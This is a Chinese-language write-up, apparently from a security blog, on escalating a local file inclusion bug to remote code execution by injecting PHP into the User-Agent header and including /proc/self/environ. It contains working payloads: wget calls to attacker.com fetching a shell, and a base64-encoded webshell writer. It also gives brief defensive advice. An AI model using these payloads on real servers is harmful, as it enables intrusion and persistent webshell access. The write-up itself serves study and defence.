挖洞经验 | 构造User-Agent请求头内容实现LFI到RCE提权
字数 1039 2025-08-15 21:32:22

从LFI到RCE提权:通过User-Agent构造实现漏洞利用

1. 漏洞发现与初步利用

1.1 发现LFI漏洞

目标网站存在本地文件包含(LFI)漏洞,通过pg参数可以读取服务器上的任意文件:

https://www.website.com/index.php?pg=contact.php

通过参数fuzzing发现可以读取系统文件:

https://www.website.com/index.php?pg=/etc/passwd

1.2 关键文件读取

利用LFI漏洞读取/proc/self/environ文件,该文件包含了当前进程的环境变量:

https://www.website.com/index.php?pg=/proc/self/environ

输出中包含HTTP_USER_AGENT等环境变量,这为后续利用提供了可能。

2. 从LFI到RCE的利用过程

2.1 初步尝试

尝试通过在User-Agent中注入PHP代码来执行命令:

  1. 使用system()方法:
User-Agent: <?system('wget http://attacker.com/shell.txt -O shell.php');?>
  1. 使用exec()方法:
User-Agent: <?exec('wget http://attacker.com/shell.txt -O shell.php');?>
  1. 测试phpinfo():
User-Agent: <?php phpinfo(); ?>

以上尝试均未成功。

2.2 成功利用的Payload

最终采用base64编码的webshell写入方法:

User-Agent: <?php 
$a = base64_decode('PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI+PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm9ybT0iZm9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm9ybT4KPC9jZW50ZXI+Cg=='); 
$file = fopen('nadeshot.php','w'); 
echo fwrite($file,$a); 
fclose($file); 
?>

2.3 Payload解析

  1. 解码base64字符串为PHP webshell代码
  2. 创建名为nadeshot.php的文件
  3. 将解码后的webshell写入该文件
  4. 关闭文件句柄

base64解码后的webshell是一个文件写入工具,源自GitHub项目:
https://github.com/alita-ido/PHP-File-Writer/blob/master/lfi-writer.php

3. 漏洞验证与利用

3.1 Webshell验证

访问写入的webshell文件:

https://website.com/nadeshot.php

3.2 文件写入测试

通过webshell写入测试文件nadeshot.txt,验证文件写入功能:

https://website.com/nadeshot.txt

4. 技术要点总结

  1. LFI漏洞识别:通过参数fuzzing发现文件包含漏洞
  2. 环境变量利用:通过/proc/self/environ获取可利用的环境变量
  3. 代码注入:利用HTTP头(User-Agent)注入PHP代码
  4. 持久化方法:通过写入webshell实现持久化访问
  5. 编码技巧:使用base64编码绕过可能的过滤机制

5. 防御建议

  1. 禁用/proc/self/environ等敏感文件的访问
  2. 对文件包含参数进行严格过滤
  3. 限制PHP代码在HTTP头中的执行
  4. 实施文件系统写权限的最小化原则
  5. 监控服务器上的异常文件创建行为

6. 参考资源

  1. PHP File Writer项目:https://github.com/alita-ido/PHP-File-Writer
  2. LFI到RCE的多种利用技术
  3. /proc文件系统安全研究
从LFI到RCE提权:通过User-Agent构造实现漏洞利用 1. 漏洞发现与初步利用 1.1 发现LFI漏洞 目标网站存在本地文件包含(LFI)漏洞,通过 pg 参数可以读取服务器上的任意文件: 通过参数fuzzing发现可以读取系统文件: 1.2 关键文件读取 利用LFI漏洞读取 /proc/self/environ 文件,该文件包含了当前进程的环境变量: 输出中包含HTTP_ USER_ AGENT等环境变量,这为后续利用提供了可能。 2. 从LFI到RCE的利用过程 2.1 初步尝试 尝试通过在User-Agent中注入PHP代码来执行命令: 使用system()方法: 使用exec()方法: 测试phpinfo(): 以上尝试均未成功。 2.2 成功利用的Payload 最终采用base64编码的webshell写入方法: 2.3 Payload解析 解码base64字符串为PHP webshell代码 创建名为 nadeshot.php 的文件 将解码后的webshell写入该文件 关闭文件句柄 base64解码后的webshell是一个文件写入工具,源自GitHub项目: https://github.com/alita-ido/PHP-File-Writer/blob/master/lfi-writer.php 3. 漏洞验证与利用 3.1 Webshell验证 访问写入的webshell文件: 3.2 文件写入测试 通过webshell写入测试文件 nadeshot.txt ,验证文件写入功能: 4. 技术要点总结 LFI漏洞识别 :通过参数fuzzing发现文件包含漏洞 环境变量利用 :通过 /proc/self/environ 获取可利用的环境变量 代码注入 :利用HTTP头(User-Agent)注入PHP代码 持久化方法 :通过写入webshell实现持久化访问 编码技巧 :使用base64编码绕过可能的过滤机制 5. 防御建议 禁用 /proc/self/environ 等敏感文件的访问 对文件包含参数进行严格过滤 限制PHP代码在HTTP头中的执行 实施文件系统写权限的最小化原则 监控服务器上的异常文件创建行为 6. 参考资源 PHP File Writer项目:https://github.com/alita-ido/PHP-File-Writer LFI到RCE的多种利用技术 /proc 文件系统安全研究